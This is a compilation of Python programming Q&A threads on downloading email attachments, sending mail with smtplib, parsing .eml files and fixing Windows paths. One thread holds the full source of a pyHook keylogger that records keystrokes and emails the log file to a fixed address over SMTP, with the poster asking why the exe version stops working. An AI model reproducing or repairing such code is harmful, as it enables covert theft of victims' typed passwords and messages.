How to download all attachments of a mail using python IMAP - python-3.x

I need to download all the attachments from a particular mail in outlook.
The below code is working fine if there is single attachment but when the mail has multiple attachment, it only download one.
Can anyone help me regarding this? Thanks.
I'm running this on python 3.7.
import imaplib
import email
import os
server =imaplib.IMAP4_SSL('outlook.office365.com',993)
server.login('Email id','Password')
server.select()
typ, data = server.search(None, '(SUBJECT "Subject name")')
mail_ids = data[0]
id_list = mail_ids.split()
for num in data[0].split():
typ, data = server.fetch(num, '(RFC822)' )
raw_email = data[0][1]
raw_email_string = raw_email.decode('utf-8')
email_message = email.message_from_string(raw_email_string)
for part in email_message.walk():
if part.get_content_maintype() == 'multipart':
continue
if part.get('Content-Disposition') is None:
continue
fileName = part.get_filename()
if bool(fileName):
filePath = os.path.join('C:\\Users\\lokesing\\', fileName)
if not os.path.isfile(filePath) :
fp = open(filePath, 'wb')
fp.write(part.get_payload(decode=True))
fp.close()
server.logout
print("Attachment downloaded from mail")
The output should be all attachments downloaded to my system at defined path.

You may use imap_tools package:
https://pypi.org/project/imap-tools/
from imap_tools import MailBox, Q
# get all attachments for each email from INBOX folder
with MailBox('imap.mail.com').login('test#mail.com', 'password') as mailbox:
for msg in mailbox.fetch():
for att in msg.attachments:
print(att.filename, att.content_type)
with open('C:/1/{}'.format(att.filename), 'wb') as f:
f.write(att.payload)

Here is an example of Downloading Attachments from Outlook Emails using Python.
I used the library called: exchangelib.
https://medium.com/#theamazingexposure/accessing-shared-mailbox-using-exchangelib-python-f020e71a96ab
Here is the Code Snippet:
from exchangelib import Credentials, Account, FileAttachment
import os.path
from pathlib import Path
credentials = Credentials('Firstname.Lastname#someenterprise.com', 'Your_Password_Here')
account = Account('shared_mail_box_name#someenterprise.com', credentials=credentials, autodiscover=True)
filtered_items = account.inbox.filter(subject__contains='Data is ready for')
print("Getting latest email...")
for item in account.inbox.filter(subject__contains='Data is ready for').order_by('-datetime_received')[:1]:
print(item.subject, item.sender, item.datetime_received)
for attachment in item.attachments:
if isinstance(attachment, FileAttachment):
filepath = os.path.join('C:\\path\\to\\your\\directory', attachment.name) #this part will download the attachment to local file system
with open(filepath, 'wb') as f:
f.write(attachment.content)
print('Saved attachment to:', filepath)

Related

smtplib sending duplicate emails

I have been sending excel files automatically using the smtplib package and a linux machice a using scheduled crontab job. I recently updated the email distribution list and now instead of the email sending once its sending 4 times. Any help with this would be hugely appreciated!
Here's my code:
import smtplib
from email.message import EmailMessage
def Emailer():
files = ['file1.csv', 'file2.csv', 'file3.csv', 'file.log']
new_attach = [f"file1{today}.csv",f"file2{today}.csv",'file3.csv', 'file.log' ]
new_ref = {orig_file: new_file for orig_file, new_file in zip(files, new_attach)}
msg = EmailMessage()
msg['Subject'] = "Subject"
msg['From'] = 'from#from.com'
msg['To'] = ['user1#user.com', 'user2#user.com', 'user3#user.com', 'user4#user.com']
msg['Cc'] = ['user5#user.com', 'user6#user.com', 'user7#user.com', 'user8#user.com', 'user9#user.com', \
'user11#user.com', 'user111#user.com', 'user1111#user.com']
msg.set_content( f""" <p>Message content here!</p>""", subtype='html')
for filename in files:
with open(filename, 'rb') as file:
file_data = file.read()
new_name = new_ref[file.name]
msg.add_attachment(file_data, maintype='application', subtype='octet-stream', filename=new_name)
try:
with smtplib.SMTP('sendsmtp.server.com', 25) as s:
s.send_message(msg)
# s.set_debuglevel(2)
print('email has been sent')
except Exception as ex:
print(ex, "Message was not sent!")

How do I download attachments from gmail?

I was able to locate the JSON file I want to download from attachment using :
part.get_content_type() == "application/json"
But have no idea on how to actually download and save it to local directory can someone pls help?
Here is the whole method:
#based on Python example from
#https://github.com/codingforentrepreneurs/30-Days-of-Python/blob/master/tutorial-reference/Day%209/inbox.py
import imaplib
host = 'imap.gmail.com' #inbox
def get_inbox(tempList):
mail = imaplib.IMAP4_SSL(host) #server
mail.login(tempList[0], tempList[2]) #login user name, user pass
mail.select("inbox") #defualt inbox
_, search_data = mail.search(None, 'UNSEEN')
my_message = []
for num in search_data[0].split():
email_data = {}
_, data = mail.fetch(num, '(RFC822)') #getting the msg data from gmail
_, b = data[0] #data in bytes
email_message = email.message_from_bytes(b)
for part in email_message.walk():
if part.get_content_type() == "application/json":
pass
my_message.append(email_data)
return my_message
if the attachment is in another file type
just change the json in
if part.get_content_type() == "application/json"
to the file type you want to downlaod

How to parse eml file and extract meta-data informations

I have an eml file with some attachments. I want to read text content in eml file and I want to extract meta-data information like(sender, from, cc, bcc, subject). Also I want to download the attachments as well. With the help of the below code I am only able to extract information/ text content in the body of the email.
import email
from email import policy
from email.parser import BytesParser
import glob
file_list = glob.glob('*.eml') # returns list of files
with open(file_list[2], 'rb') as fp: # select a specific email file from the list
msg = BytesParser(policy=policy.default).parse(fp)
text = msg.get_body(preferencelist=('plain')).get_content()
print(text)
There was module name emaildata which was available for Python 2 did the job.
Extracting MetaData Informations
import email
from emaildata.metadata import MetaData
message = email.message_from_file(open('message.eml'))
extractor = MetaData(message)
data = extractor.to_dict()
print data.keys()
Extracting Attachment Information
import email
from emaildata.attachment import Attachment
message = email.message_from_file(open('message.eml'))
for content, filename, mimetype, message in Attachment.extract(message):
print filename
with open(filename, 'w') as stream:
stream.write(content)
# If message is not None then it is an instance of email.message.Message
if message:
print "The file {0} is a message with attachments.".format(filename)
But this library is now deprecated and is of now use. Is there any other library that could extract the meta-data and attachment related information?
Meta-data information could be accessed using below code in Python 3.x
from email import policy
from email.parser import BytesParser
with open(eml_file, 'rb') as fp:
msg = BytesParser(policy=policy.default).parse(fp)
print('To:', msg['to'])
print('From:', msg['from'])
print('Subject:', msg['subject'])
Remaining header informations could be accessed using msg.keys()
For downloading attachments from an eml file you can use the below code:
import sys
import os
import os.path
from collections import defaultdict
from email.parser import Parser
eml_mail = 'your eml file'
output_dir = 'mention the directory where you want the files to be download'
def parse_message(filename):
with open(filename) as f:
return Parser().parse(f)
def find_attachments(message):
"""
Return a tuple of parsed content-disposition dict, message object
for each attachment found.
"""
found = []
for part in message.walk():
if 'content-disposition' not in part:
continue
cdisp = part['content-disposition'].split(';')
cdisp = [x.strip() for x in cdisp]
if cdisp[0].lower() != 'attachment':
continue
parsed = {}
for kv in cdisp[1:]:
key, val = kv.split('=')
if val.startswith('"'):
val = val.strip('"')
elif val.startswith("'"):
val = val.strip("'")
parsed[key] = val
found.append((parsed, part))
return found
def run(eml_filename, output_dir):
msg = parse_message(eml_filename)
attachments = find_attachments(msg)
print ("Found {0} attachments...".format(len(attachments)))
if not os.path.isdir(output_dir):
os.mkdir(output_dir)
for cdisp, part in attachments:
cdisp_filename = os.path.normpath(cdisp['filename'])
# prevent malicious crap
if os.path.isabs(cdisp_filename):
cdisp_filename = os.path.basename(cdisp_filename)
towrite = os.path.join(output_dir, cdisp_filename)
print( "Writing " + towrite)
with open(towrite, 'wb') as fp:
data = part.get_payload(decode=True)
fp.write(data)
run(eml_mail, output_dir)
Have a look at: ParsEML it bulk extracts attachments from all eml files in a directory (originally from Stephan Hügel). And i used a modified version of MeIOC to easily extract all metadata in json format; if you want i can share that to.

Auto Py to Exe - Keylogger-Emailer - Exe runs through once. Then doesn't register key inputs

Keylogger that sends results to email
Running .PY from anaconda CMD or IDE:
1. records keyboard input
2. when input > 100 = stores in txt file
3. emails txt file
4. repeat indefinitely
Running from EXE (EXE created from Auto Py to Exe)
1. records keyboard input
2. when input > 100 = stores in txt file
3. emails txt file
4. ---------------<<<<<<<<
try:
import pythoncom, pyHook
except:
print ("Please Install pythoncom and pyHook modules")
exit(0)
import urllib,urllib.request
from urllib.request import urlopen
from winreg import *
import sys
x=''
data=''
count=0
#Local Keylogger
def local():
global data
if len(data)>200:
# _thread.start_new_thread( local, ("Thread-2", 2, ) )
fp=open("c:/Users/Aaron/output.txt","a")
fp.write(data)
fp.close()
data=''
print ("saved")
# libraries to be imported
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
fromaddr = "name#outlook.com"
toaddr = "name#outlook.com"
# instance of MIMEMultipart
msg = MIMEMultipart()
# storing the senders email address
msg['From'] = fromaddr
# storing the receivers email address
msg['To'] = toaddr
# storing the subject
msg['Subject'] = "Subject of the Mail"
# string to store the body of the mail
body = ""
# attach the body with the msg instance
msg.attach(MIMEText(body, 'plain'))
# open the file to be sent
filename = "output.txt"
attachment = open("c:/Users/Aaron/output.txt", "rb")
# instance of MIMEBase and named as p
p = MIMEBase('application', 'octet-stream')
# To change the payload into encoded form
p.set_payload((attachment).read())
# encode into base64
encoders.encode_base64(p)
p.add_header('Content-Disposition', "attachment; filename= %s" % filename)
# attach the instance 'p' to instance 'msg'
msg.attach(p)
# creates SMTP session
s = smtplib.SMTP('smtp-mail.outlook.com', 587)
# start TLS for security
s.starttls()
# Authentication
s.login(fromaddr, "password")
# Converts the Multipart msg into a string
text = msg.as_string()
# sending the mail
s.sendmail(fromaddr, toaddr, text)
# terminating the session
s.quit()
print ("emailed")
return True
def main():
print ("---- Keylogger Activated")
global xz
x=1
#if __name__ == '__main__':
# main()
obj = pyHook.HookManager()
obj.KeyDown = keypressed
obj.HookKeyboard()
pythoncom.PumpMessages()
def keypressed(event):
print ("key")
global x,data
if event.Ascii==13:
keys='<ENTER>'
elif event.Ascii==8:
keys='<BACK SPACE>'
elif event.Ascii==9:
keys='<TAB>'
elif event.Ascii==122:
# keys=''
print ("^^^^ Keylogger Deactivated")
sys.exit()
else:
keys=chr(event.Ascii)
data=data+keys
local()
return True
main()
There are no errors. When pressing keys the str "keys" does not print. So i think it is not running??
Very new to coding. please be kind :)
Let me know if you need more info

windows file directory path in Python

Can anyone please help me, I'm a newbie, I have a bit of code which I'm working on and I'm struggling with the file directory path. I have found other examples and tried them as shown below. The Python code is to email out a file called 'myfile.txt' form the folder 'F:\D\OneDrive\Python\Spyder\test'.
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
#sender's address
fromaddr = "username#gmail.com"
#receiptent's email address
toaddr = "username2#gmail.com"
msg = MIMEMultipart()
msg['From'] = fromaddr
msg['To'] = toaddr
msg['Subject'] = "Python test"
body = "Did it work Sam?"
msg.attach(MIMEText(body, 'plain'))
filename = "myfile.txt"
attachment = open("F:\D\OneDrive\Python\Spyder\test", "rb")
part = MIMEBase('application', 'octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition', "attachment; filename= %s" % filename)
msg.attach(part)
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(fromaddr, "password")
text = msg.as_string()
server.sendmail(fromaddr, toaddr, text)
server.quit()
And I get this error -
PermissionError: [Errno 13] Permission denied:
b'F:\\D\\OneDrive\\Python\\Spyder\\test'
If I change the line to -
attachment = open("F:\D\OneDrive\Python\Spyder\test\", "rb")
I get -
attachment = open("F:\D\OneDrive\Python\Spyder\test\", "rb")
^
SyntaxError: EOL while scanning string literal
If I change the line to -
attachment = open("F:\\D\\OneDrive\\Python\\Spyder\\test\\", "rb")
I get -
attachment = open("F:\\D\\OneDrive\\Python\\Spyder\\test\\", "rb")
FileNotFoundError: [Errno 2] No such file or directory:
'F:\\D\\OneDrive\\Python\\Spyder\\test\\'
If you work in Windows you must use windows path format. Method open with 'rb' parameters read file in byte mode if file is exist. You try read the directory!?
attachment = open('F:\\D\\OneDrive\\Python\\Spyder\\test\\myfile.txt", "rb")
equal
attachment = open(r'F:\D\OneDrive\Python\Spyder\test\myfile.txt', 'rb')
This represents the path correctly, but fails to provide a file name, because the trailing \ means a directory.
attachment = open("F:\\D\\OneDrive\\Python\\Spyder\\test\\myfile.txt", "rb")
What you likely want is
# Note the r and the lack of a trailing slash.
attachment = open(r"F:\D\OneDrive\Python\Spyder\test\myfile.txt", "rb")
I have found different code here and this works. Still can't work out why the original code does not work -
python program to rename the file with current date in MMDDYYY format and send email with attachment
Fixed code -
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
fromaddr = "username#gmail.com"
toaddr = "username2#gmail.com"
msg = MIMEMultipart()
msg['From'] = fromaddr
msg['To'] = toaddr
msg['Subject'] = "Please find the attachment"
body = "HI"
msg.attach(MIMEText(body, 'plain'))
filename = "myfile.txt"
#dt = str(datetime.datetime.now())
attachment = open("F:\\D\\OneDrive\\Python\\Spyder\\myfile.txt", "rb")
part = MIMEBase('application', 'octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition', "attachment; filename= %s" % filename)
msg.attach(part)
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(fromaddr, "password")
text = msg.as_string()
server.sendmail(fromaddr, toaddr, text)
server.quit()

Resources